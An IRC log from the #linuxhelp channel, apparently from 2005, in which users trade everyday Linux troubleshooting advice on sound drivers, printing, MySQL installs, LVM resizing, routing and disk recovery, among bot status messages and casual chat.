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[02:53] am i on [02:54] newbie question: ls -ald tells me a folder is 4096 [02:55] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [02:55] but properties tab of same folder says 755 or 4755 if i select Set_userID [02:56] vermoos (n=mesoman@host86-137-168-218.range86-137.btcentralplus.com) left #linuxhelp ("Leaving"). [02:57] vermoos: 4096 is the size of the folders disk space; 755 and 4755 are ownership and permissions; man chmod for more info [02:59] awol (i=awol@madwifi/support/awol) joined #linuxhelp. [03:00] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [03:00] Writing user file... [03:00] Writing channel file... [03:01] bMotion: autosaving facts... [03:05] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [03:18] Last message repeated 2 time(s). [03:18] sybariten (n=jake@h39n1c1o986.bredband.skanova.com) joined #linuxhelp. [03:20] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [03:28] Last message repeated 1 time(s). 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[03:58] CafeDeliskus (n=Moop@wiley-447-50577.roadrunner.nf.net) left irc: Read error: 104 (Connection reset by peer) [04:00] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [04:00] Writing user file... [04:00] Writing channel file... [04:01] bMotion: autosaving facts... [04:05] #linuxhelp (+ctrn) : [m/121 o/0 h/0 v/0 n/121 b/19 e/- I/-] [04:07] igotyofire (n=igotyofi@pool-71-104-113-232.lsanca.dsl-w.verizon.net) joined #linuxhelp. [04:08] IDconfig seems to be missing or not available on my installtion cd [04:10] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [04:11] igotyofire: you mean ifconfig? [04:11] maybe [04:11] man ifconfig [04:12] its on cd3, and its the first step of actual installment [04:12] igotyofire: which linux distribution? [04:12] mandriva 2006 [04:12] it wont continue without that file [04:12] igotyofire: ask in #mandriva ? [04:13] no response yet,heh [04:15] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [04:19] CafeDeliskus (n=Moop@wiley-447-50577.roadrunner.nf.net) joined #linuxhelp. [04:20] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [04:20] Lazydog (n=Lazydog@acs-24-154-13-242.zoominternet.net) joined #linuxhelp. [04:21] anyway i can search for ifconfig on the disc? [04:24] Xvesa makes me cry. It just refuses to work with my ps/2 mouse. [04:25] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [04:25] Octane (n=octane@dsl092-100-149.nyc2.dsl.speakeasy.net) left irc: Read error: 104 (Connection reset by peer) [04:30] bMotion: running level 4 self-diagnostic [04:30] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [04:37] Last message repeated 1 time(s). [04:37] piff (n=piff@cpc2-oxfd3-3-0-cust38.oxfd.cable.ntl.com) joined #linuxhelp. [04:37] Greetings. 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[04:58] :) [04:59] OK, it's way too early in the morning to continue this [04:59] I still haven't finished my third coffee yet. ;) [04:59] hehe, same here (still 2nd cup of coffee) [05:00] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [05:00] Writing user file... [05:00] Writing channel file... [05:01] bMotion: autosaving facts... [05:01] yep [05:01] <_sho_> how do i view a file with ghostscript [05:01] <_sho_> im trying to display to x11 [05:02] how can i convert a html online book into one pdf file? [05:03] _sho_: gs [ options ] [ files ] ... for (Unix, VMS) [05:03] lehmama: Save it to Open Office and save as PDF? [05:03] otherwise there are pdf utilities you can use... [05:03] lehmama: print to file (as ps) and use ps2pdf [05:03] <_sho_> nah, i have a pdf im trying to print [05:04] <_sho_> i tried ghostscript $file -output=\|lpr [05:04] <_sho_> but that didnt work [05:04] <_sho_> it complained of a linebreak in input [05:04] but its a book with links [05:04] <_sho_> yeah [05:04] <_sho_> go figure [05:05] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [05:05] hmm, and I know for sure that I need more coffee (that getty line didn't work because I was looking at the wrong ttyS). [05:05] <_sho_> ok, ill try printing from oo then [05:05] *duh* [05:05] and i'm not willing to open every single link to print it [05:05] hehe, check caffeine level and titrate to effect [05:07] WAH.... caffeine only puts me to sleep. [05:08] lehmama, html2ps might do it, but its conversion is not always the greatest [05:08] lehmama, I've got a log entry about this, hold on [05:09] lehmama, "html2ps -D -W l http://ldots.org/pyrex-guide/ > foo.ps" is what I wrote down [05:09] <_sho_> can i just cat $pdf | lpr? [05:10] #linuxhelp (+ctrn) : [m/122 o/0 h/0 v/0 n/122 b/19 e/- I/-] [05:14] StevenR (n=foo@82-41-30-69.cable.ubr04.edin.blueyonder.co.uk) joined #linuxhelp. [05:14] sure. you can even do lpr pdf [05:15] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [05:15] <_sho_> ananke : i dont do much printing... i didnt know if you had to tell the printer what it was [05:15] <_sho_> as in, ive printed maybe two things in the past three years [05:17] poet (n=ramy@62.135.122.240) joined #linuxhelp. [05:17] hello, I'm using RH ES4, I want to install MySQL 4.1 [05:17] how I can do? [05:17] <_sho_> download mysql, configure, make, install? [05:18] giasai: rhel4 includes mysql 4.1. install from cds or use up2date. [05:19] giasai: you may need to subscribe to "extras" or something like that to get the mysql-server package via rhn [05:20] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [05:21] I have removed mysql 4.1 [05:21] now I want install again [05:21] how I can do [05:21] I'm using ssh [05:21] giasai: up2date install mysql [05:23] WhyvasLT (n=poop@CPE0080c8ad42ec-CM00080d88e844.cpe.net.cable.rogers.com) joined #linuxhelp. [05:25] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [05:30] bMotion: running level 4 self-diagnostic [05:30] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [05:37] Last message repeated 1 time(s). [05:37] WhyvasLT (n=poop@CPE0080c8ad42ec-CM00080d88e844.cpe.net.cable.rogers.com) left irc: "Ex-Chat" [05:39] hlen (n=hlen@200165099238.user.veloxzone.com.br) joined #linuxhelp. [05:40] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [05:42] aVh (n=aVhereti@203.145.188.150) joined #linuxhelp. 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[06:13] mebsd: new linux distro, new kernel? [06:15] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [06:20] Last message repeated 1 time(s). [06:20] ninjak (n=ninjak@213-140-8-212.ip.fastwebnet.it) left irc: Read error: 104 (Connection reset by peer) [06:21] mebsd: that's like asking how to bake a cake? what flavour? with or without frosting etc.... please provide details.... [06:21] im using arch linux [06:21] the kernel is... [06:21] Linux arch 2.6.14-ARCH #1 SMP PREEMPT Fri Nov 4 12:18:13 CET 2005 i686 AMD Athlon(tm) XP 2000+ AuthenticAMD GNU/Linux [06:22] CafeDeliskus (n=Moop@wiley-447-50577.roadrunner.nf.net) left irc: Client Quit [06:22] what soundcard? [06:22] my sound card is.. [06:22] 00:11.5 Multimedia audio controller: VIA Technologies, Inc. VT8233 AC97 Audio Controller (rev 60) [06:22] Budd (n=eric@pool-70-17-157-235.wma.east.verizon.net) left irc: "Leaving" [06:23] Action: awol baits his breath while he waits.... [06:23] boerst (n=boerst@p54B12E94.dip0.t-ipconnect.de) joined #linuxhelp. [06:24] mebsd: cat /proc/asound/cards [06:24] 0 [V8237 ]: VIA8237 - VIA 8237 [06:24] VIA 8237 with ALC655 at 0xbc00, irq 18 [06:24] mebsd: good, new sound card? [06:24] does this mean it's already loaded? [06:24] mebsd: any soundcard modules listed in lsmod? [06:25] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [06:25] old sound card [06:25] snd_pcm 84612 3 snd_via82xx,snd_ac97_codec,snd_pcm_oss [06:25] got alsaconf? [06:25] mebsd: as root: alsamixer -V all unmute and set volumes; escape; as root: alsactl store [06:25] maybe this? [06:25] Dr_Willis (i=willis@12-222-81-183.client.insightBB.com) joined #linuxhelp. [06:26] and ya may wanna use a mixer to make sure if/when it's enabled it aint muted [06:26] by default sound is muted at first.... [06:26] i use aumix instead [06:27] woteva wurks [06:27] mebsd: you have to use alsamixer to set up the controls for you soundcard first [06:27] s/for you/for your [06:27] woteva wurks... now that's cool [06:27] nope i don't [06:27] aumixer can safely replace alsamixer [06:27] it is? i just cant spell... [06:29] heatxsink (n=jmioph@c-24-7-127-192.hsd1.ca.comcast.net) joined #linuxhelp. [06:30] bMotion: running level 4 self-diagnostic [06:30] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [06:33] heh i tend to install all the mixers i can find and try them all out.. [06:33] heatxsink (n=jmioph@c-24-7-127-192.hsd1.ca.comcast.net) left irc: Client Quit [06:34] some seem a little smarter in how they lable the 'sliders' for my AUdigy2 card. [06:34] aVh (n=aVhereti@203.145.188.150) left irc: " Try HydraIRC -> http://www.hydrairc.com <-" [06:35] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [06:35] heatxsink (n=jmioph@c-24-7-127-192.hsd1.ca.comcast.net) joined #linuxhelp. [06:36] what other fun apps to install in linux [06:36] check out the 'linux game tome' [06:36] web site. [06:36] not into games [06:37] i used to [06:37] gee Your definition of 'fun apps' may be a litle warped then. [06:37] :P [06:37] "This Spread sheet Roxors!" [06:37] Nick change: CarlF1 -> CarlFK [06:37] haha [06:38] ok so, if i want to install a bunch of windows true type fonts, what do i do [06:39] go read the howto's at tldp.org and learn how to do what ever ya want.... [06:39] mebsd: http://gentoo-wiki.com/HOWTO_Xorg_and_Fonts [06:39] it's not hard to learn if you take the time to look ;-P [06:40] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [06:40] oh yah [06:43] Dr_Willis (i=willis@12-222-81-183.client.insightBB.com) left irc: "Leaving" [06:45] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [06:51] Last message repeated 1 time(s). [06:51] yo yo.. can anyone tell me if LUFS has been added to the fedora kernel? if so.. what release? [06:52] plb (n=plb@cpe-24-168-64-249.si.res.rr.com) joined #linuxhelp. [06:52] jonathh: LUFS has been superseded by FUSE [06:53] gnubien (n=e@48.242.33.65.cfl.res.rr.com) left irc: "leaving" [06:53] hey guys can anyone help me understand a question for school that deals with outsourcing networks/network administration...not looking for an answer...just an understanding of the question since I'm not very familiar with outsourcing [06:54] plb: just paying someone else out of ur organization to do the job. [06:55] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [06:55] spike...yes I know that.... [06:55] FUSE what is that! [06:55] intrr (n=intrr@time.instinctive.de) joined #linuxhelp. [06:55] plb: so? ask ur question [06:55] hey intrr , sup man? [06:56] jonathh: ask google [06:56] hi spike... [06:56] all over it :) [06:56] so FUSE is deffo all the rage then? [06:56] i'm just again amazed at 'modern' UIs and their ridiculousness :) [06:56] eh? [06:56] intrr: UIs implicitly sux :) [06:57] ph8 (i=ph8@85-210-48-149.dsl.pipex.com) joined #linuxhelp. [06:57] hey guys, just a quickie - is there a way to change the priority of a process that's already running? [06:57] spike: heh. [06:57] ph8: nice [06:57] i thought nice was only for new processes? [06:57] ph8: err, renice [06:57] heh [06:57] ah cheers [06:59] spike when you outsource a network/network administration do you use the their software like say billing software? [07:00] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [07:00] Writing user file... [07:00] Writing channel file... [07:00] the question deals with me having to implement billing software which is unreliable over this WAN [07:00] plb: if that's the question u're given, tell ur teacher he either can't spell or has no clues. it doesnt make any sense [07:01] bMotion: autosaving facts... [07:01] redge- (n=redge@joshua.electronicbox.net) joined #linuxhelp. [07:01] I have *.src.rpm file [07:01] plb: or rather, it makes sense, but it's too generic and one cant really give a good answer [07:01] how I can to build *.rpm file to start a *.spec file? [07:01] spike I can paste the whole question if you like [07:02] plb: outsourcing a network makes basically no sense, even if one might work out a mining. outsourcing the administration makes sense, but then the billing doesnt [07:02] plb: if u wanna help that's mandatory: http://rafb.net/paste/ [07:04] lehmama (n=lehmama@195.52.122.31) left irc: "Leaving" [07:05] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [07:05] http://rafb.net/paste/results/5Pqvrc95.html [07:09] plb: who wrote that smoked lots of weed right before writing it. I confirm it mostly makes no sense [07:09] plb: precisely what doesnt make any sense is "outsourcing the wide area network" [07:10] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [07:10] wtf does that mean? they gave u and controll all the routers/fw for all the offices involved in that firm? [07:10] that sounds like the best possible explanation to me, but it's yet blurry and just a guess [07:10] they could have used way less buzzwords and give u more details about that firm network environment [07:11] i don't know....I think they are letting someone else do that and I'm in charge of the billing software which is unreliable which is what I don't get [07:11] unreliable in what way [07:12] buggy software, transmitting the data? [07:12] that's another good question: a guess could be it's unreliable because confidential data travels on an untrusted network, as u don't own it, but it's outsourced [07:12] yeah thats what I was thinking [07:12] plb: that's the best I can think of, and that would actually make sense of the whole, why the said the network is outsourced [07:14] plb: the thing is, how is that gonna make any difference with ur own network? [07:14] yeah I know..and what procedures do I come up with [07:14] since the firm seems to be composed of different offices, located in different areas, u'd have ur data travelling on the net anyway, which is as unsecure as the outsourced network [07:15] #linuxhelp (+ctrn) : [m/125 o/0 h/0 v/0 n/125 b/19 e/- I/-] [07:15] <_sho_> sup spike [07:15] plb: u said u were asking for help to understand the question, not an answer, but u've just asked for one even if u didnt put a ? at the end :) [07:15] dont cheat [07:15] _sho_: hey man, sup? [07:15] heh I'm not trying to...this whole question is just hazy [07:16] is this their software? [07:16] do you use their software since they are in charge of the network? [07:16] <_sho_> not much [07:17] plb: if I were u, I'd just go back to the guy saying it doesnt make any sense [07:17] raven (n=raven@modemcable190.237-80-70.mc.videotron.ca) joined #linuxhelp. [07:17] heh yeah thats probably a good idea [07:17] plb: or that if he/she wants a proper answer he/she's better to come up with a better question [07:17] Graylight (n=benswiha@24-158-102-72.dhcp.kgpt.tn.charter.com) joined #linuxhelp. [07:17] ok thanks for the help spike [07:18] np [07:18] Hello. I am running a RedHat EL3 server with apache and bind. My problem is with the domain ecure.com. I can NOT figure out what the hell is wrong with it. I think it's trapped in some kind of weird registrar space, but I need to absolutely be sure I haven't screwed up on my end. Can someone please help? [07:18] Good day. Question for you regarding LVM2: if I want to increase or reduce the size of a LV, do I need to umount it first? Cause I believe you need to (assuming you're increasing) 1) increase the LV size, and 2) increase the size of the filesystem (i.e. resize_reiserfs...)? Thing is, if I need to umount it, then I'm missing someting. I tought the idea of LVM was to be able to resize on-the-fly... let's say LIVE!... no? Thx [07:18] plb: probably what they want is u tellin 'em about VPNs, that's likely to be ur answer [07:19] <_sho_> haha [07:19] <_sho_> thats amusing [07:19] Graylight (n=benswiha@24-158-102-72.dhcp.kgpt.tn.charter.com) left irc: Client Quit [07:19] <_sho_> <- is troubleshooting smallest-bikini.co.uk [07:19] raven : no, you don't need to unmount the filesystem if you want to increase the lv [07:19] _sho_: now, why u're doing that? :) [07:19] raven : you increase the lv, then you run resize_reiserfs on a live filesystem. [07:19] <_sho_> problems with mysql [07:20] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [07:20] Graylight (n=benswiha@24-158-102-72.dhcp.kgpt.tn.charter.com) joined #linuxhelp. [07:20] <_sho_> what i need is mysql to produce in selectable format show processlist [07:20] raven : reiserfs, xfs and jfs can expand on-line. ext3 can with some extra kernel patches [07:20] sorry - left and rejoined. [07:20] did anyone respond to my question? [07:20] Graylight: not so far [07:20] Thank you. [07:21] <_sho_> hows work so far spike [07:22] it appears the gdm greeter and the deamon are installed separately does anyone know what package installs the daemon i did yum install gdm but i get an error about the deamon and the greeter versions being missmatched [07:22] s/deamon/daemon [07:22] ananke: thx for the info :-) [07:23] plb (n=plb@cpe-24-168-64-249.si.res.rr.com) left irc: [07:23] that is when i try and launch gdm [07:24] _sho_: spent whole morning on the phone fixing some pix/vpn issues... didnt really had a break but for 2 days or so :/ [07:24] i just notified our pix admins to fix the damn tls [07:25] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [07:25] mail fixup breaks tls on smtp [07:25] _sho_: see pm for the other side of how work goes... [07:26] CafeDeliskus (n=Moop@wiley-447-50577.roadrunner.nf.net) joined #linuxhelp. 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[08:13] daniel (i=daniel@unaffiliated/daniel) left irc: Remote closed the connection [08:14] Graylight (n=benswiha@24-158-102-72.dhcp.kgpt.tn.charter.com) left irc: [08:15] #linuxhelp (+ctrn) : [m/123 o/0 h/0 v/0 n/123 b/19 e/- I/-] [08:16] doesn anyone...know why when i launch xfce desktop I get xfce desktop but it doesnt show any menu just a toolbar with a few tools [08:16] daniel (i=daniel@unaffiliated/daniel) joined #linuxhelp. [08:20] #linuxhelp (+ctrn) : [m/124 o/0 h/0 v/0 n/124 b/19 e/- I/-] [08:22] Chance (i=Chance@unaffiliated/chance) joined #linuxhelp. [08:22] how can i add an ierarhic tree of routes and ips on my servers, like for ex 11.0.0.1 to go thru 10.0.0.1 and 10.0.0.1 to go thru another ip and so on ? [08:24] Dr_Willis (i=willis@12-222-81-183.client.insightBB.com) joined #linuxhelp. [08:25] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [08:30] bMotion: running level 4 self-diagnostic [08:30] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [08:33] CHodapp (n=hodapp@dynamic-159-210.dorm.natpool.uc.edu) left irc: Read error: 104 (Connection reset by peer) [08:33] KanFu2 (i=KanFu@p54B5E777.dip.t-dialin.net) joined #linuxhelp. [08:34] Chance: why do you want that, 11.0.0.1 is public, too [08:34] well i have multiple people going out on the internet thru my server [08:35] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [08:35] some are in 10.0.0.1/24, some in 11.0.0.1/24 and some in 15.0.0.1/24 [08:35] use private ips [08:35] how if i may ask ? [08:36] like use 10.0.1.0/24 [08:37] 10.0.0.0/8 is a private ip address that is not used in the internet [08:37] private ip address space [08:37] that is [08:38] humm [08:38] but what does that helps me with ain't it the same ? [08:38] you still have to explain what ind of routing you want [08:39] s/ind/kind/ [08:39] it's a small ISP [08:39] but [08:40] #linuxhelp (+ctrn) : [m/126 o/0 h/0 v/0 n/126 b/19 e/- I/-] [08:40] the only different thing is that we have like 5 ips and around 40 people going out thru them [08:40] 40 ppls on diff classes [08:40] i would like that when they do traceroute ip from anbother class to show them the exacly route they do follow [08:41] and same with reverse [08:41] what is a class in your terminology [08:41] 10.0.0.2-254 [08:41] a subnet? [08:42] yes [08:42] the server has this ip's 10.0.0.1, 11.0.0.1, 12.0.0.1 [08:42] .... [08:42] you cannot do it without some major hacking. it also breaks the idea [08:43] usn (n=usn@p54B59D3D.dip0.t-ipconnect.de) left irc: Remote closed the connection [08:43] no_gatez_fan (n=patrick@cpe-069-132-012-246.carolina.res.rr.com) joined #linuxhelp. [08:43] Nate_Grey (n=byte@216.36.6.32) joined #linuxhelp. [08:43] but how are the ISP's doing it ? [08:43] they have several routers [08:43] each router is a hop in traceroute [08:44] indeed [08:44] can't i just simulate that ? [08:44] TheSimkin (n=Simkin@tor/session/x-80b3f51e9a4003e4) joined #linuxhelp. [08:44] I don't see any reason to do that. [08:44] like setting the route of 12.0.0.1 to be 11.0.0.1 and so on... ? [08:45] #linuxhelp (+ctrn) : [m/128 o/0 h/0 v/0 n/128 b/19 e/- I/-] [08:45] no. [08:45] then how [08:45] ? [08:45] you can't do it. [08:46] I also don't see why you care. [08:46] because when i have something to do i take down only one route and work at it [08:46] and not the default one [08:46] jhammel (i=500@north-mesh-wlan-113.AirBears.Berkeley.EDU) joined #linuxhelp. [08:47] air bears! [08:47] Action: amrit|zzz mauls jhammel [08:47] argh! [08:47] nomin (n=Owner@ppp-69-218-44-19.dsl.bcvloh.ameritech.net) joined #linuxhelp. [08:47] what was that for? [08:47] Chance: how is that a reason? [08:47] my customized kernel size is much bigger than the one from distro, is that normal? [08:48] mebsd: its not abnormal [08:48] has anyone in here used an ipod on linux? [08:48] linuxfreck not the only one [08:48] Chance: you can delete a routing entry in your router without your wierd setup [08:48] is there a way to decrease it? [08:48] mebsd: especially if you require stuff into the kernel instead of modules...most distro kernels have everything modular [08:48] jhammel: sorry. sort of a gut reaction to berkeley ;) [08:48] i don't have a router [08:49] mebsd: uh...don't compile the stuff you don't need [08:49] mebsd: depending on how you configure your kernel, it could come out huge. less things compiled into the kernel = smaller size [08:49] amrit|zzz: don't like bezerkeley? [08:49] is it a good thing to have small things [08:49] jhammel: didn't exactly enjoy my time there [08:49] Chance: any computer that forwards ip packets is a router, so I mean your linux box here [08:50] #linuxhelp (+ctrn) : [m/130 o/0 h/0 v/0 n/130 b/19 e/- I/-] [08:50] amrit|zzz: yeah...well..i ain't much enjoying my time here either :( CS student? [08:50] jhammel: :/ [08:50] <_sho_> amriiiiiiiiiiiiiiit [08:50] <_sho_> whassup man [08:50] jhammel: haha, we discussed this a while ago, actually.. you're cs grad student, right? i was doing cs, got screwed out of it, ended up doing legal studies [08:50] linuxfreck so you mean i can just simply forward an ip to another one and so on and will do the trick ? [08:50] <_sho_> hows splunk [08:50] what does preempty mean [08:50] _sho_: sup sup [08:51] _sho_: it's great :) [08:51] <_sho_> awesome [08:51] Chance: I think that you should learn about routing [08:51] <_sho_> amrit|zzz: can you hook me up with a demo version of splunk? im curious and want to give it a shot on my network to see how effective it is [08:52] Chance: a router can be in more than 2 networks and forward packets between them [08:52] KanFu (i=KanFu@p54B5B48C.dip.t-dialin.net) left irc: Read error: 110 (Connection timed out) [08:52] Nick change: KanFu2 -> KanFu [08:53] where can i read about what i want to do ? [08:53] Chance: so you would just have your linux router in all customer networks and have it forward the ip packets of your customers into the internet and between those nets [08:54] lartc.org [08:54] Chance: I used to recommend the linux network administrators guide, but it's a bit outdated now [08:54] lartc might be a bit complicated [08:54] riley (i=riley@www.lindsay.tsman.com) joined #linuxhelp. [08:55] #linuxhelp (+ctrn) : [m/130 o/0 h/0 v/0 n/130 b/19 e/- I/-] [08:55] linuxfreck now i am using PREROUTING to allow them on the internet [08:55] Anyone know of any good tools for trying to recover data on a bad HD? [08:55] _sho_: you can actually download a Free version (only restriction is it nags you after 500mb of data per day): http://www.splunk.com/index.php/download_agreement [08:55] and forward [08:55] _sho_: if you wanna try the pro version, there's a 15 day trial: https://www.splunk.com/index.php/sign_up?destination=pro_download [08:56] _sho_: it's really cool.. think you'll like it :) [08:56] <_sho_> amrit|zzz : alright, ill get a shot [08:56] <_sho_> which do you suggest [08:57] _sho_: unless you have a ton of data, Free will suit you just fine - but if you wanna handle more data, or you want to create sorta "live" filters that can notify you when certain events happen, etc, you want the Pro [08:57] riley: bad as in? hardware failure? [08:57] _sho_: i say play with the Free a bit, then if you like it, requeust a Pro demo [08:57] <_sho_> how hard is it to set up amrit [08:58] seemawn (n=seemawn@p54A9A0B8.dip0.t-ipconnect.de) joined #linuxhelp. [08:58] _sho_: easy... you don't have to edit the config files to get going.. you can upload logs to be parsed via the gui... to have it "tail" the files, you have to edit a config file, but it's all easy to read xml.. [08:58] linuxfreck yep. i havent seen it yet, but hopefully some data will be recoverable [08:58] _sho_: the admin guide should cover this, i gotta get headed over there. see: http://www.splunk.com/index.php/docs?doc=admin.html. [08:58] <_sho_> im just nervous about it [08:59] minus that dot :) [08:59] _sho_: nervous? it's just a binary installer that drops _everything_ into /opt/splunk.. it won't mess with your stuff :) [08:59] <_sho_> no, not that nervous [08:59] <_sho_> nervous as in, trying to replace logging currently done with a splunk oriented system [08:59] riley: if the data is important enough, consider using a professional service. else you usually read an image using dd conv=noerror and work on the image [09:00] #linuxhelp (+ctrn) : [m/131 o/0 h/0 v/0 n/131 b/19 e/- I/-] [09:00] Writing user file... [09:00] Writing channel file... [09:00] _sho_: ahh... well, nothing stops you from trying both at once, right? [09:00] <_sho_> nope [09:00] cool [09:00] see ya in a bit [09:00] Action: amrit|zzz out [09:00] <_sho_> but if i decide i like it, it will be a monumental task to move everything to the new method [09:01] bMotion: autosaving facts... [09:01] the data is pretty important, but I'd just like to see what I could do with it before taking it into a pro. Once I have the image though, is there any recovery tools that you can recommend? [09:01] reading time [09:01] laters [09:01] Chance (i=Chance@unaffiliated/chance) left irc: "The two most common things in the universe are hydrogen and stupidity. ®" [09:01] riley: the point is that every access to the drive may damage it further [09:01] linuxfreck ah ok, i didnt consider that [09:02] riley: and "may" in my experience usually means "will" [09:04] Mjolnir (n=jdbarnha@12.180.197.147) joined #linuxhelp. [09:05] #linuxhelp (+ctrn) : [m/131 o/0 h/0 v/0 n/131 b/19 e/- I/-] [09:05] riley: I suggest you use a professional service and deploy raid-1 and a backup system [09:09] raid-1? how is raid1 gonna prevent any problems? [09:09] linuxfreck good advice =) [09:09] well mirroring... not stripping but ya [09:09] raid1 does the opposite of providing redundancy [09:09] ohh, shit, nevermind :) [09:10] #linuxhelp (+ctrn) : [m/131 o/0 h/0 v/0 n/131 b/19 e/- I/-] [09:10] Action: ananke has been doing raid testing for weeks, now he's loosing it. mistaking raid1 for raid0 :) [09:12] teclo (n=root@adsl-70-224-44-156.dsl.sbndin.ameritech.net) joined #linuxhelp. [09:13] my sound just stopped working abruptly in suse 10.0 -- it worked after the first install then stopped and now it just makes clicking noises. would anyone please help me? [09:15] #linuxhelp (+ctrn) : [m/132 o/0 h/0 v/0 n/132 b/19 e/- I/-] [09:15] ananke: heh [09:15] though it's true that a backup system is more important than raid-1 [09:15] Ostehovel (n=null@084202023016.customer.alfanett.no) joined #linuxhelp. [09:15] how can I find out what web server a particular website is using? [09:15] Need Help with this: I Installing Debian(Sagre) and when it was going to install Grub, my pc crash....(I install it under Emulator... but it was my windows that crash.. not by the Emulator but by something other...) and then i cannot boot, are it possible to install grub from a Floppy or something widout reinstall debian? [09:18] Ostehovel: debian should have a rescue mode that you can use to boot your linux and then install grub [09:18] belkin (n=vdsv@host-84-9-15-252.bulldogdsl.com) joined #linuxhelp. [09:18] does anyone know how to configure Open WebMail with imap ? [09:18] teclo (n=root@adsl-70-224-44-156.dsl.sbndin.ameritech.net) left #linuxhelp ("Kopete 0.10.3 : http://kopete.kde.org"). [09:18] Is there a distro available that will be compatible with hardware for older computers? I want to use and HP from 1998 to record music I make in a band in my basement. (I don't need the best quality sound yet, just record what we make on the spot). I have tried mandriva and ubuntu and the sound card is not recognized by either. Knoppix won't boot for some reason. I would prefer one that can get updates too. [09:19] nomin: which soundcard do you have? [09:20] #linuxhelp (+ctrn) : [m/133 o/0 h/0 v/0 n/133 b/19 e/- I/-] [09:21] Adlib? [09:22] iakah (n=nobody@200.252.232.129) joined #linuxhelp. [09:23] I can't remember the name of it. I can go check right now, however, I found the site that has the drivers for it but the drivers didn't work. It had one made for mandriva 9.2 so I installed 9.2 and it didn't work. I also used the generic rpm for mandriva and that didn't work. I installed ubuntu and converted the rpm to a deb and that didn't work on ubuntu. I can't find the site if you want me to. [09:23] *I can find* [09:23] nomin: if you're serious about making music, buy a used SBlive or audigy...they're cheap and have good support and are pretty good cards [09:25] #linuxhelp (+ctrn) : [m/134 o/0 h/0 v/0 n/134 b/19 e/- I/-] [09:26] jhammel, that might be the best solution to my problem. [09:29] riley (i=riley@www.lindsay.tsman.com) left irc: "[BX] I came, I saw, I ran away screaming" [09:30] bMotion: running level 4 self-diagnostic [09:30] #linuxhelp (+ctrn) : [m/133 o/0 h/0 v/0 n/133 b/19 e/- I/-] [09:31] no_gatez_fan (n=patrick@cpe-069-132-012-246.carolina.res.rr.com) left irc: "laterz" [09:31] I think linux can be used to find uses for older computers that people just throw away. I don't want to use windows98 that it has on it because it was infected will all kinds of stuff, the cd writer doesn't even work all the time. Linux is a great solution for older computers like this one. I've garbage picked 3 already. [09:32] cool. yeah, if i had more time and apartment space i'd love to build a small computer farm of old boxes [09:33] what really blows my mind is that so many people use their windows boxes for email and office...like you need a 2GHz processor for that [09:33] right [09:33] i mean, the way office is written...you do...but... [09:33] i have a 2 ghz processor with windows.... [09:33] :P [09:33] I notebok [09:33] *a [09:33] Ostehovel: game player? or? [09:33] im a gameplayer [09:34] and a very noob in programming [09:34] :P [09:34] but im thinking switch to debian/linux [09:34] P: [09:34] Action: jhammel wants to make the text game "Adventures in POSIX land" [09:34] :P [09:34] hehe [09:34] Or maybe "Alice's/Alex's Adventures..." depending on your gender preference [09:34] instead of throwing out older pc's, they should be donated so poor people can have one with linux installed on it [09:35] #linuxhelp (+ctrn) : [m/132 o/0 h/0 v/0 n/132 b/19 e/- I/-] [09:35] My windows pc is Ok at speed :P [09:35] Do Debian have shorewall on by standar? [09:35] *orginal [09:35] nomin: there are a few companies and organizations doing that...can't remember the name, but they're making cheap < $100 linux boxes and trying to distribute them all over africa [09:36] Linux is slower than windows to boot..... but windows is slower realtime.... i feel like that... [09:36] Ostehovel: linux doesn't have to be slower than windows to boot...depends on what you run at startup and your kernel [09:37] i know [09:37] Ostehovel: and feelings are nothing in the scientific realm of computing [09:37] I use word with an add-on that makes me write better.... do you think i can use debian/linux with wine or something? [09:37] :P [09:37] (SHit... i was select Chehing all files on my debian cd..... No..... [09:37] ) [09:37] makes you write better? [09:37] Yes [09:38] a grammar correction [09:38] to norwegian [09:38] becouse the 